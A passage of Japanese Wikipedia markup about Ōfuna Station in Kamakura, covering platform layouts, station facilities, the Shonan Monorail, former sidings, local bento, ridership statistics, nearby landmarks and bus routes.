|[[File:JR JO line symbol.svg|15px|JO]] 横須賀線
|style="text-align:center;"|下り
|鎌倉・逗子・横須賀・久里浜方面
|-
!rowspan="2"|9・10
|[[File:JR JK line symbol.svg|15px|JK]] 根岸線・京浜東北線
|style="text-align:center;"|北行
|[[関内駅|関内]]・[[桜木町駅|桜木町]]・上野・大宮方面
|-
|[[File:JR JH line symbol.svg|15px|JH]] [[横浜線]]
|style="text-align:center;"|-
|[[新横浜駅|新横浜]]・[[町田駅|町田]]・[[八王子駅|八王子]]方面
|}
(出典:[https://www.jreast.co.jp/estation/stations/342.html JR東日本:駅構内図])
* 東海道線の本線は2番線と3番線、横須賀線の本線は5番線と8番線である。
* 1・2番線は平日朝[[ラッシュ時]]の多数の列車が[[相互発着|交互に停車]]する。
* 1・2番線の湘南新宿ライン(高崎線直通)や新宿・池袋方面への特急は、[[戸塚駅]]の手前で横須賀線の線路へ転じる。
* 湘南新宿ライン(宇都宮線直通)は5・6番線に加え、一部列車は7番線からも発車する。また、ダイヤが乱れた場合には東海道線直通の湘南新宿ライン(快速・特別快速)が当駅で運転を打ち切って新宿・高崎線方面へ折り返す場合があり、その場合は6・7番線を使用する。
* 8番線には、逗子方面から当駅止まりの列車が到着する運用がある。
* 特急「[[湘南ライナー|湘南]]」は東京発着列車のうち、下りは全列車、上りは2・4・12・14号の4本が停車する<ref>{{Cite press release|和書|url=https://www.jreast.co.jp/press/2020/yokohama/20201218_y01.pdf|archiveurl=https://web.archive.org/web/20201226195458/https://www.jreast.co.jp/press/2020/yokohama/20201218_y01.pdf|format=PDF|language=日本語|title=2021年3月ダイヤ改正について|publisher=東日本旅客鉄道横浜支社|date=2020-12-18|accessdate=2021-02-04|archivedate=2020-12-26}}</ref>。新宿発着列車と上り6・8号は貨物線走行のため停車しない。10号については当駅の手前まで旅客線を走行し、当駅の手前(場内扱い)で貨物線に転線する。
* 逗子駅発着の[[車両輸送|甲種輸送]]列車や[[臨時列車]]など、根岸線と横須賀線を直通する列車は10番線を使用する。1998年5月2日から2008年3月9日までは横浜線と逗子駅を直通する列車も設定されていた。
* 東海道線ホームである1 - 4番線のグリーン車停車位置案内板は現在でも「グリーン車(湘南電車)はこの付近に止まります」と表示されている。
* 東海道線と横須賀線の分離運転(SM分離)以前は、現在の1・2番線ホームはなく、東海道線上りは現在の3・4番線、東海道線下りは現在の6・7番線を使用していた。横須賀線・根岸線については現在と同じ。その名残りで、6・7番線と東海道線の藤沢方面が接続されている。現在でも、[[国府津車両センター]]などから回送され、当駅から横須賀線方面へ営業運転する臨時列車や、東海道線でダイヤ乱れが発生した際に、上り列車が当駅で運転を打ち切って藤沢方面へ折り返す場合などにこの線路を使用している。
<gallery>
JR Ofuna Station Platform 1・2.jpg|1・2番線ホーム(2019年6月)
OfunaGreenCar.JPG|グリーン車停車位置案内板(2番線)<br />(2011年5月)
JR Ofuna Station Platform 3・4.jpg|3・4番線ホーム(2019年6月)
JR Ofuna Station Platform 5・6.jpg|5・6番線ホーム(2019年6月)
JR Ofuna Station Platform 7・8.jpg|7・8番線ホーム(2019年6月)
JR Ofuna Station Platform 9・10.jpg|9・10番線ホーム(2019年6月)
</gallery>
==== 駅構内設備 ====
* 南改札側
** 東口(上り・下りエスカレーター・エレベーターあり)
** 西口(上りのみエスカレーター・エレベーターあり)
** 1 - 4番線ホーム(上りのみエスカレーターあり)
** 5 - 10番線ホーム(上り・下りエスカレーターあり)
* 北改札側
** 笠間口(上り・下りエスカレーター・エレベーターあり)
** 各ホーム(同上)
*ゼロキロポスト
**横須賀線の始点を表すもの 藤沢側ホーム端
**根岸線の始点(終点)を表すもの 戸塚側ホーム端
**横須賀工場専用線 北鎌倉-大船間の電留線からの分岐小屋付近
==== 貨物線 ====
旅客ホーム1番線の西側には[[東海道貨物線]]の線路が通っている。貨物線上にホームはないが、構内北側で根岸線へ直通する単線の通路線(高架)が分岐しており、当駅より1kmほど北側で東海道線・横須賀線の線路を跨いで[[本郷台駅]]手前で根岸線と合流している。通路線を通過する列車は定期では無く、検測列車や臨時列車で稀に使用されるのみである。通路線は東海道貨物線合流部まで根岸線のキロ程となっている。
{{clear|12}}
=== 湘南モノレール ===
{{駅情報
|社色 = #ff0000
|文字色 =
|駅名 = 湘南モノレール 大船駅
|画像 = OfunaStshonan.jpg
|pxl = 300
|画像説明 = 湘南モノレール大船駅(2006年2月)
|よみがな = おおふな
|ローマ字 = Ōfuna
|前の駅 =
|駅間A =
|駅間B = 0.9
|次の駅 = [[富士見町駅 (神奈川県)|富士見町]] SMR2
|駅番号 = '''SMR1'''
|電報略号 =
|所属事業者 = [[湘南モノレール]]
|所属路線 = {{Color|red|■}}[[湘南モノレール江の島線|江の島線]]
|キロ程 = 0.0
|起点駅 = 大船
|所在地 = [[神奈川県]][[鎌倉市]][[大船]]一丁目4-7
|座標 = {{coord|35|21|8|N|139|31|53|E|region:JP_type:railwaystation|name=湘南モノレール 大船駅}}
|駅構造 = [[高架駅]]
|ホーム = 2面1線
|開業年月日 = [[1970年]]([[昭和]]45年)[[3月7日]]<ref name="sone30"/>
|廃止年月日 =
|乗車人員 =
|乗降人員 = 28,954<!--10,596,984÷366-->
|統計年度 = 2019年
|備考 =
}}
[[頭端式ホーム]]2面1線の[[高架駅]]。1本の線路の両側にホームが設置されており、乗降分離されている。湘南モノレールで最も乗降客数の多い駅であり、利用者が集中する朝通勤時には改札規制が行われることもある。
現在の駅舎は鎌倉市による大船駅東口第1種市街地再開発事業(第1地区)に伴い再構築されたもので、駅前交通広場や駅ビルと一体化された上で[[1992年]]9月に竣工している。出口は東側にあり、駅舎内部には[[自動券売機]]、[[自動改札機]]、[[自動精算機]]の他に当路線唯一の[[定期券]]発売窓口並びに販促[[グッズ]]発売窓口もある。旅客サービス設備として[[コインロッカー]]が設置されているほか、[[東京電力エナジーパートナー]]と共同でモバイルバッテリーシェアリングサービス「充レン」を設置<ref>{{Cite press release|和書|url=https://www.shonan-monorail.co.jp/news/upload/3692280d3f98b77ffcdce20cb72fd531aa443600.pdf|archiveurl=https://web.archive.org/web/20210204224825/https://www.shonan-monorail.co.jp/news/upload/3692280d3f98b77ffcdce20cb72fd531aa443600.pdf|format=PDF|language=日本語|title=神奈川県初! モバイルバッテリーシェアリングサービス「充レン」導入! 〜湘南モノレール大船駅・湘南江の島駅にてサービス開始〜|publisher=湘南モノレール|date=2019-04-24|accessdate=2021-02-04|archivedate=2021-02-04}}</ref>、車椅子対応の温水洗浄便座を装備した多機能トイレもある。[[自動体外式除細動器]] (AED) も設置されている他、降車ホームには絵画作品等を展示するギャラリーボードが設置され、駅務室には中間駅の設備監視など行うシステムが整備されている。
JRの東口から駅ビル「ルミネウィング」を経て湘南モノレールの駅まで通路が続いており、駅ビルやJRの駅に設置のエスカレーターを使用して外部からモノレールの駅に到達できる。エレベーターは自治体設置のものが東口交通広場ペデストリアンデッキおよびJR駅東口正面に設置されている。
==== のりば ====
東側から以下の通り。
<!--方面表記は、湘南モノレールの「時刻表」の記載に準拠-->
{| class="wikitable"
!番線!!路線!!行先
|-
!1
|rowspan="2"|{{Color|red|■}}江の島線
|[[湘南江の島駅|湘南江の島]]方面<ref>{{Cite web|和書|url=https://www.shonan-monorail.co.jp/ticket/pdf/ofuna_n.pdf?ver210322_01|title=湘南モノレール 大船駅発車標準時刻表|accessdate=2022-10-13}}</ref>
|-
!2
|降車ホーム
|}
[[File:shonanmonorail-ofuna-2018gate.jpg|thumb|left|250px|改札口(2018年8月)]]
{{clear}}
=== ドリーム交通(廃止) ===
{{駅情報
|社色 = #ccc
|文字色 = #000
|駅名 = ドリーム交通 大船駅
|画像 = DreamMonorail Ofuna Sta Building (1992).jpg
|pxl = 300
|画像説明 = 1992年当時の廃駅舎
|よみがな = おおふな
|ローマ字 = Ōfuna
|前の駅 =
|駅間A =
|駅間B = 5.3
|次の駅 = [[ドリームランド駅|ドリームランド]]
|電報略号 =
|所属事業者 = [[ドリーム開発]]
|所属路線 = [[ドリーム開発ドリームランド線|ドリームランド線]]
|キロ程 = 0.0
|起点駅 = 大船
|所在地 =
|座標 =
|駅構造 = [[高架駅]]
|ホーム = 2面1線
|開業年月日 = [[1966年]]([[昭和]]41年)[[5月2日]]
|廃止年月日 = [[2003年]]([[平成]]15年)[[9月18日]]*
|乗車人員 =
|統計年度 =
|備考 =
|備考全幅 = * [[1967年]](昭和42年)[[9月27日]]より休止
}}
[[1966年]]5月から乗り入れていたドリーム交通モノレール大船線の駅は、[[日本国有鉄道]](国鉄)の駅の北側に存在した。
[[1967年]]9月に運行休止となり、駅舎とホームは[[1990年代]]に撤去された。撤去直前の時期には駅舎内が[[アトリエ]]として利用されていたこともある。[[2003年]]9月に正式に廃線となり、[[2004年]]に軌道も撤去されている。
[[File:Dream3.jpg|thumb|left|200px|ドリーム交通モノレールの駅ホーム<br />(1984年撮影、現存せず)]]
[[File:DreamMonorail Ofuna Sta (1992).jpg|thumb|left|200px|モノレール駅近くに掲げられた横浜ドリームランドの看板<br />(1992年撮影、現存せず)]]
{{-}}
=== 専用線(廃止) ===
かつて存在した[[専用鉄道|専用線]]。元旧日本軍の軍用施設への引き込み線が多い。[[東日本旅客鉄道大船工場|大船工場]]専用線のように民生施設に転換されたり、大船PX専用線のように接収した[[アメリカ軍|米軍]]に使用されて存続したが、最後まで残った大船工場専用線が[[2006年]](平成18年)に廃線となったことで全廃となった。
; 大船工場専用線
: 元[[横須賀海軍工廠深沢分工場]]から転換された車両工場。北鎌倉寄りの横須賀線から分岐。本線側からの直通は出来ず、工場へは[[スイッチバック]]で入線する必要があった。線路は撤去され線路用地跡だけが残る。
; 住友電工横浜製作所専用線
: 貨物線脇の「田立線群」小ヤードから分岐して、[[柏尾川]]対岸にある[[住友電工]]へ専用橋梁を渡る単線。[[1984年]](昭和59年)まで現役だったが、廃線後は柏尾川を渡る橋梁も撤去された。
; 住友セメントサイロ専用線
: [[住友セメント]]大船包装所(大船サービスステーション)に続く専用線。住友電工専用線から分岐する形で途中にあった。住友電工専用線と共に廃線後、軌道は撤去されたが、貨車にセメントを搭載する[[サイロ]]は2000年代まで[[トラックミキサ|コンクリートミキサー車]]用として現役だった(現在は撤去済み)。
; 海軍軍需部大船倉庫専用線
: 現在の根岸線から伸びた形で横須賀線を挟み、大船工場専用線の反対側にあった。戦後直ぐに廃止され、倉庫の敷地は[[1947年]](昭和22年)に開校した大船中学校になっている。
; 大船PX(旧第1海軍燃料廠)専用線
: 海軍軍需部大船倉庫専用線と接続する形で笠間口側から伸びて、[[砂押川 (神奈川県)|砂押川]]を渡って旧海軍の[[第1海軍燃料廠]]に至る引き込み線であったが、戦後は米軍専用線になった。[[1967年]](昭和42年)に日本へ返還されて廃線。
; 東洋高圧専用線
: 「田立線群」小ヤードにあった側線。東洋高圧工業(後の[[三井化学]])へ[[タンク車]]を用いて[[化学薬品]]を積み卸ししていた。工場は旅客線側にあるため、地下パイプラインで接続されていた。貨物取り扱い廃止後に廃線。
== 駅弁 ==
[[大船軒]]による[[鰺の押し寿司 | 鯵の押寿司]]が当駅の名物である。[[コンコース]]の売店で販売をしている。また、日本の[[駅弁]]として最初に[[サンドイッチ]]弁当を売り出した。主な駅弁は下記の通り<ref>{{Cite journal|和書|year=2023|publisher=[[JTBパブリッシング]]|journal=JTB時刻表|issue=2023年3月号|page=150,229}}</ref>。
{{Div col||20em}}
* 伝承鰺の押寿し
* やまゆり牛しぐれ煮弁当
* しらす弁当
* 鰺の押寿し
* 大船軒ハムサンドウィッチ
{{Div col end}}
== 利用状況 ==
* '''JR東日本''' - 2022年度の1日平均[[乗降人員#乗車人員|'''乗車'''人員]]は'''84,249人'''である<ref group="利用客数">[https://www.jreast.co.jp/passenger/index.html 各駅の乗車人員] - JR東日本</ref>。
*: 同社の駅の中では[[西日暮里駅]]に次いで第39位。
* '''湘南モノレール''' - 2019年度の1日平均[[乗降人員|'''乗降'''人員]]は'''28,954人'''である<ref group="乗降データ" name="kamakura" />。
=== 年度別1日平均乗降人員 ===
近年の1日平均'''乗降'''人員の推移は下記の通り(JRを除く)。
{|class="wikitable" style="text-align:right; font-size:85%;"
|+年度別1日平均乗降人員<ref group="乗降データ" name="kamakura">[https://www.city.kamakura.kanagawa.jp/soumu/toukei/kamakuratoukei/top2/kamakuranotokeitop.html 鎌倉の統計] - 鎌倉市</ref><ref group="乗降データ">[https://www.city.fujisawa.kanagawa.jp/shise/toke/nenpo/index.html 統計年報] - 藤沢市</ref>
!rowspan=2|年度
!style="text-align:center;" colspan="2"|湘南モノレール
|-
!1日平均<br />乗降人員
!増加率
|-
|2002年(平成14年)
|26,124
|
|-
|2003年(平成15年)
|26,130
|0.0%
|-
|2004年(平成16年)
|26,595
|1.8%
|-
|2005年(平成17年)
|26,885
|1.1%
|-
|2006年(平成18年)
|26,711
|−0.6%
|-
|2007年(平成19年)
|26,797
|0.3%
|-
|2008年(平成20年)
|26,133
|−2.5%
|-
|2009年(平成21年)
|26,126
|−0.0%
|-
|2010年(平成22年)
|25,762
|−1.4%
|-
|2011年(平成23年)
|24,695
|−4.1%
|-
|2012年(平成24年)
|25,539
|3.4%
|-
|2013年(平成25年)
|25,380
|−0.6%
|-
|2014年(平成26年)
|25,909
|2.1%
|-
|2015年(平成27年)
|26,727
|3.2%
|-
|2016年(平成28年)
|27,243
|1.9%
|-
|2017年(平成29年)
|27,233
|−0.0%
|-
|2018年(平成30年)
|28,438
|4.4%
|-
|2019年(令和元年)
|28,954
|1.8%
|}
=== 年度別1日平均乗車人員 ===
近年の1日平均'''乗車'''人員の推移は下記の通り。
{|class="wikitable" style="text-align:right; font-size:85%;"
|+年度別1日平均乗車人員<ref group="乗降データ" name="kamakura" /><ref group="乗降データ">[http://www.city.yokohama.lg.jp/ex/stat/index2.html#3 横浜市統計ポータル] - 横浜市</ref>
!年度
!style="text-align:center;" colspan="1"|JR東日本
!style="text-align:center;" colspan="1"|湘南<br />モノレール
!出典
|-
|1995年(平成{{0}}7年)
|90,769
|14,782
|<ref group="乗降データ">[http://www.pref.kanagawa.jp/uploaded/life/1128766_3967261_misc.pdf#search=%27%E7%B7%9A%E5%8C%BA%E5%88%A5%E9%A7%85%E5%88%A5%E4%B9%97%E8%BB%8A%E4%BA%BA%E5%93%A1%EF%BC%881%E6%97%A5%E5%B9%B3%E5%9D%87%EF%BC%89%E3%81%AE%E6%8E%A8%E7%A7%BB%27 線区別駅別乗車人員(1日平均)の推移]</ref>
|-
|1998年(平成10年)
|85,874
|14,588
|<ref group="神奈川県統計">平成12年</ref>
|-
|1999年(平成11年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/1999.html 各駅の乗車人員(1999年度)] - JR東日本</ref>84,483
|14,363
|<ref group="神奈川県統計" name="toukei2001">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369557.pdf 平成13年]}}</ref>
|-
|2000年(平成12年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2000.html 各駅の乗車人員(2000年度)] - JR東日本</ref>83,660
|14,115
|<ref group="神奈川県統計" name="toukei2001" />
|-
|2001年(平成13年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2001.html 各駅の乗車人員(2001年度)] - JR東日本</ref>83,772
|14,027
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369552.pdf 平成14年]}}</ref>
|-
|2002年(平成14年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2002.html 各駅の乗車人員(2002年度)] - JR東日本</ref>83,786
|13,690
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369547.pdf 平成15年]}}</ref>
|-
|2003年(平成15年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2003.html 各駅の乗車人員(2003年度)] - JR東日本</ref>85,190
|13,681
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369542.pdf 平成16年]}}</ref>
|-
|2004年(平成16年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2004.html 各駅の乗車人員(2004年度)] - JR東日本</ref>86,335
|13,936
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369533.pdf 平成17年]}}</ref>
|-
|2005年(平成17年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2005.html 各駅の乗車人員(2005年度)] - JR東日本</ref>87,333
|14,131
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369528.pdf 平成18年]}}</ref>
|-
|2006年(平成18年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2006.html 各駅の乗車人員(2006年度)] - JR東日本</ref>89,627
|14,039
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369523.pdf 平成19年]}}</ref>
|-
|2007年(平成19年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2007.html 各駅の乗車人員(2007年度)] - JR東日本</ref>91,876
|14,068
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/35540.pdf 平成20年]}}</ref>
|-
|2008年(平成20年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2008.html 各駅の乗車人員(2008年度)] - JR東日本</ref>92,839
|13,740
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/773803.pdf 平成21年]}}</ref>
|-
|2009年(平成21年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2009.html 各駅の乗車人員(2009年度)] - JR東日本</ref>93,343
|13,753
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/161682.pdf 平成22年]}}</ref>
|-
|2010年(平成22年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2010.html 各駅の乗車人員(2010年度)] - JR東日本</ref>93,679
|13,578
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/427362.pdf 平成23年]}}</ref>
|-
|2011年(平成23年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2011.html 各駅の乗車人員(2011年度)] - JR東日本</ref>93,397
|12,828
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/706868.pdf 平成24年]}}</ref>
|-
|2012年(平成24年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2012.html 各駅の乗車人員(2012年度)] - JR東日本</ref>95,317
|13,199
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/707631.pdf 平成25年]}}</ref>
|-
|2013年(平成25年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2013.html 各駅の乗車人員(2013年度)] - JR東日本</ref>97,118
|13,554
|<ref group="神奈川県統計">{{PDFlink|[http://www.klnet.pref.kanagawa.jp/resource/org_0101/pol_20150926_003_17.pdf 平成26年]}}</ref>
|-
|2014年(平成26年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2014.html 各駅の乗車人員(2014年度)] - JR東日本</ref>96,360
|13,418
|<ref group="神奈川県統計">{{PDFlink|[http://www.klnet.pref.kanagawa.jp/resource/org_0101/pol_20160609_001_15.pdf 平成27年]}}</ref>
|-
|2015年(平成27年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2015.html 各駅の乗車人員(2015年度)] - JR東日本</ref>98,803
|13,880
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/877254.pdf 平成28年]}}</ref>
|-
|2016年(平成28年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2016.html 各駅の乗車人員(2016年度)] - JR東日本</ref>99,139
|14,057
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/docs/x6z/tc10/documents/15.pdf 平成29年]}}</ref>
|-
|2017年(平成29年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2017.html 各駅の乗車人員(2017年度)] - JR東日本</ref>98,695
|14,185
|<ref group="神奈川県統計">{{PDFlink|[https://www.pref.kanagawa.jp/documents/3406/15-30.pdf 平成30年]}}</ref>
|-
|2018年(平成30年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2018.html 各駅の乗車人員(2018年度)] - JR東日本</ref>99,944
|14,374
|<ref group="神奈川県統計">{{PDFlink|[https://www.pref.kanagawa.jp/documents/46041/15.pdf 平成31年]}}</ref>
|-
|2019年(令和元年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2019.html 各駅の乗車人員(2019年度)] - JR東日本</ref>98,926
|14,549
|<ref group="神奈川県統計">{{PDFlink|[https://www.pref.kanagawa.jp/documents/46041/202015.pdf 令和2年]}}</ref>
|-
|2020年(令和{{0}}2年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2020.html 各駅の乗車人員(2020年度)] - JR東日本</ref>73,636
|
|
|-
|2021年(令和{{0}}3年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2021.html 各駅の乗車人員(2021年度)] - JR東日本</ref>77,670
|
|
|-
|2022年(令和{{0}}4年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/index.html 各駅の乗車人員(2022年度)] - JR東日本</ref>84,249
|
|
|}
== 駅周辺 ==
[[File:OfunaSthigashi.jpg|thumb|東口(2006年2月)]]
=== 東口・笠間口側、鎌倉市内 ===
{{columns-list|2|
* [[ルミネ]]ウィング([[駅ビル]])<ref name="kotsu19920916"/>
** 大船ルミネウィング内郵便局
* 鎌倉市大船行政センター
** [[鎌倉市図書館#図書館サービスの拡大|大船図書館]]
* 大船警察署大船駅前交番
* 鎌倉市大船消防署
* [[大船郵便局]]
* [[大船中央病院]]
* [[相鉄ホテルマネジメント|相鉄フレッサイン]]鎌倉大船
* [[代々木ゼミナール]] 湘南キャンパス
* [[JR東日本ホテルメッツ|ホテルメッツ]]かまくら大船
* [[京急交通]]本社
* [[西友]] 大船店
* [[イトーヨーカ堂|イトーヨーカドー]] 大船店
* [[ブックオフコーポレーション|ブックオフ]]SUPER BAZAAR鎌倉大船
* [[松竹大船撮影所]]跡地
** 現在は[[鎌倉芸術館]]や[[鎌倉女子大学]]大船キャンパス(1995年から1998年までテーマパーク「[[鎌倉シネマワールド]]」が設置された)などがある。
* [[三菱電機]]情報技術総合研究所・デザイン研究所
* [[神奈川中央交通]]大船東口サービスセンター
* [[鎌倉市立大船中学校]]
* [[鎌倉市立大船小学校]]
|}}
=== 西口側、鎌倉市内 ===
* [[神奈川県立大船フラワーセンター|日比谷花壇大船フラワーセンター]]
* [[大船観音寺|大船観音]]
* [[栄光学園中学校・高等学校]]
* 神奈川中央交通大船西口サービスセンター
* [[湘南鎌倉総合病院]]
=== 北側 ===
* [[横浜環状南線|横浜環状道路南線]]・[[首都圏中央連絡自動車道]][[栄インターチェンジ・ジャンクション|栄IC・JCT]](建設中)
* GRAND SHIP(複合施設)
** [[ヤマダデンキ]]LABI大船
** [[ライフコーポレーション|ライフ]]グランシップ大船駅前店
** [[三越伊勢丹ホールディングス|FOOD & TIME ISETAN OFUNA]]
== バス路線 ==
=== 東口 ===
==== 大船駅東口交通広場・大船駅・大船駅東口 ====
<!--バス路線の記述は、[[プロジェクト:鉄道#バス路線の記述法]]に基づき、必要最小限の情報に留めています。特に経由地については、[[プロジェクト:鉄道#バス路線の記述法]]の観点から、記載しないでください。-->
[[江ノ電バス]]は「大船駅東口交通広場」停留所、[[京浜急行バス]]は「大船駅」停留所、空港リムジンは「大船駅東口」停留所にて発着する。いずれも東口ルミネウイング南側に整備されている交通広場内にある乗り場である<ref>{{Cite web|和書|title=江ノ電バス |url=https://www.enoden.co.jp/bus/route/stops/609 |website=江ノ島電鉄株式会社 |date=2022-05-10 |access-date=2022-05-10 |archive-date=2022-05-10 |archive-url=https://web.archive.org/web/20220510154555/https://www.enoden.co.jp/bus/route/stops/609}}</ref>。
{| class="wikitable" style="font-size:80%;"
!のりば!!運行事業者!!系統・行先!!備考
|-
!1
|rowspan="2" style="text-align:center;"|江ノ電バス
|{{Unbulleted list|[[江ノ電バス横浜営業所#上大岡- 大船 - 鎌倉線|'''A21''']]:[[上大岡駅]]|[[江ノ電バス鎌倉営業所#本郷台線|'''K4'''・'''N4''']]:[[本郷台駅]]|[[江ノ電バス鎌倉営業所#大船 - 平島線|'''N41''']]:[[江ノ電バス鎌倉営業所|平島]]|[[江ノ電バス湘南営業所#藤沢 - 大船線(弥勒寺経由)|'''N6''']]:[[藤沢駅]]北口}}
|{{Unbulleted list|「A21」は朝および平日夜のみ運行|「K4」「N4」は土休日1本のみ運行|「N41」は土休日夜1本のみ運行}}
|-
!2
|{{Unbulleted list|[[江ノ電バス湘南営業所#藤沢 - 大船線(手広経由)|'''N1''']]:藤沢駅南口|[[江ノ電バス湘南営業所#大船 - 江ノ島線|'''N3''']]:[[江の島|江ノ島]]|[[江ノ電バス湘南営業所#藤沢 - 大船線(手広経由) 2|'''N15''']]:[[江ノ電バス湘南営業所|湘南車庫]]|'''N31''':[[西鎌倉駅|津村]]|[[江ノ電バス湘南営業所#新鎌倉山循環線|'''N35''']]:新[[鎌倉山]]循環}}
|{{Unbulleted list|「N1」は平日朝夜・土休日朝のみ運行|「N35」は日中のみ運行}}
|-
!3
|rowspan="2" style="text-align:center;"|京浜急行バス
|{{Unbulleted list|[[京浜急行バス鎌倉営業所#大船線|'''船2''']]:[[梶原 (鎌倉市)|梶原]]|'''船7'''・'''船8''':[[鎌倉駅]]}}
|「船7」「船8」は平日のみ運行
|-
!4
|{{Unbulleted list|'''船4''':鎌倉山|'''船5''':諏訪ヶ谷|'''船6''':江ノ島|'''船9''':鎌倉駅}}
|「船9」は午後のみ運行
|-
!5
|style="text-align:center;"|江ノ電バス
|{{Unbulleted list|[[江ノ電バス湘南営業所#鎌倉湖畔循環線|'''N5''']]:[[散在ガ池森林公園|鎌倉湖]]畔循環・地蔵前|'''N55''':鎌倉湖畔循環}}
|{{Unbulleted list|「N5」の地蔵前行は夜のみ運行|「N55」は日中のみ運行}}
|-
!6
|style="text-align:center;"|江ノ電バス
|{{Unbulleted list|[[江ノ電バス湘南営業所#鎌倉 - 大船線|'''N2''']]・'''A21'''・'''K4''':鎌倉駅|[[江ノ電バス湘南営業所#高野台線|'''N7''']]:[[高野 (鎌倉市)|高野]]台|'''N71(直行)''':[[神奈川県立大船高等学校|大船高校]]|[[江ノ電バス湘南営業所#小袋谷循環線|'''N39''']]:[[小袋谷]]循環}}
|{{Unbulleted list|「A21」は朝および平日夜のみ運行|「K4」は土休日のみ運行|「N71」は平日朝のみ運行|「N39」は土休日朝1本のみ運行}}
|-
!rowspan="2"|7
|style="text-align:center;"|江ノ電バス
|[[江ノ電バス#空港連絡バス|'''空港リムジン''']]:[[東京国際空港|羽田空港]]
|
|-
|style="text-align:center;"|京浜急行バス
|{{Unbulleted list|[[京浜急行バス鎌倉営業所#大船駅桔梗山線|'''船50''']]:桔梗山・山の上ロータリー|'''空港リムジン''':羽田空港}}
|「船50」の山の上ロータリー行は平日朝のみ運行
|}
==== 大船駅・大船駅東口 ====
<!--バス路線の記述は、[[プロジェクト:鉄道#バス路線の記述法]]に基づき、必要最小限の情報に留めています。特に経由地については、[[プロジェクト:鉄道#バス路線の記述法]]の観点から、記載しないでください。-->
[[神奈川中央交通]]は「大船駅」停留所、江ノ電バスや[[こすずめ号|株式会社共同]]は「大船駅東口」停留所にて発着する。
どちらも笠間口前にあるバスターミナル。1983年(昭和58年)4月のバスターミナル開設時以来、南側交差点を出口とする一方通行型だった。駅前再開発の進展にともない再整備され、2019年(平成31年)3月16日から北側交差点を出入口とする周回型に改められ、乗り場の場所および乗り場における発着路線が変更された<ref>{{Cite web|和書|url=http://www.kanachu.co.jp/dia/news/detail?tbl=2&tid=1960 |title=大船駅乗り場移設および番線変更について(3/16実施) |publisher=神奈川中央交通 |accessdate=2019-03-16 |archive-url=https://web.archive.org/web/https://www.kanachu.co.jp/dia/news/detail?tbl=2&tid=1960 |archive-date=2022-05-11}}</ref><ref>{{Cite web|和書|url=http://www.kanachu.co.jp/news/pdf01/yokohama/2019.3.16ofuna4.pdf |title=大船駅バス乗り場の移動についてのお知らせ |format=PDF |publisher= |accessdate=2019-03-16 |archive-url=https://web.archive.org/web/https://www.kanachu.co.jp/news/pdf01/yokohama/2019.3.16ofuna4.pdf |archive-date=2022-05-11}}</ref><ref>{{Cite web|和書|title=大船駅東口(笠間口)バスターミナル乗り場の移動について |url=https://www.enoden.co.jp/bus-news/7668/ |website=江ノ島電鉄株式会社 |accessdate=2019-03-16 |language= |publisher= |deadlinkdate=2022-05-11}}</ref>。
<!-- 横浜市営バス関連の記述については消さないでください。度重なる編集によって消されていますが、横浜市営バスが大船駅に乗り入れていたのは事実です。 -->
また、1991年までは[[横浜市営バス港南営業所]]管轄による40系統が乗り入れており、それ以前も2系統が横浜駅より乗り入れていたが、{{要検証範囲|横浜市内均一運賃区間外で対キロ制運賃制度区間エリアだったこと、神奈中・江ノ電が既に大多数を占めていたことから|date=2022年5月}}撤退した。
{| class="wikitable" style="font-size:80%;"
!のりば!!運行事業者!!系統・行先!!備考
|-
!rowspan="2"|1
|style="text-align:center;"|神奈川中央交通
|{{Unbulleted list|[[神奈川中央交通横浜営業所#大船駅 - 上大岡駅・桜木町駅方面|'''船05''']]:上大岡駅|'''船19''':[[港南台駅]]|'''船20''':[[桜木町駅]]}}
|「船05」は平日朝夜・土休日夜のみ運行
|-
|style="text-align:center;"|江ノ電バス
|{{Unbulleted list|'''A21'''・'''船05''':上大岡駅|'''N45''':平島}}
|「A21」は朝および平日夜のみ運行
|-
!rowspan="2"|2
|style="text-align:center;"|神奈川中央交通
|[[神奈川中央交通横浜営業所#大船駅 - 桂台方面|'''船11''']]:上之
|
|-
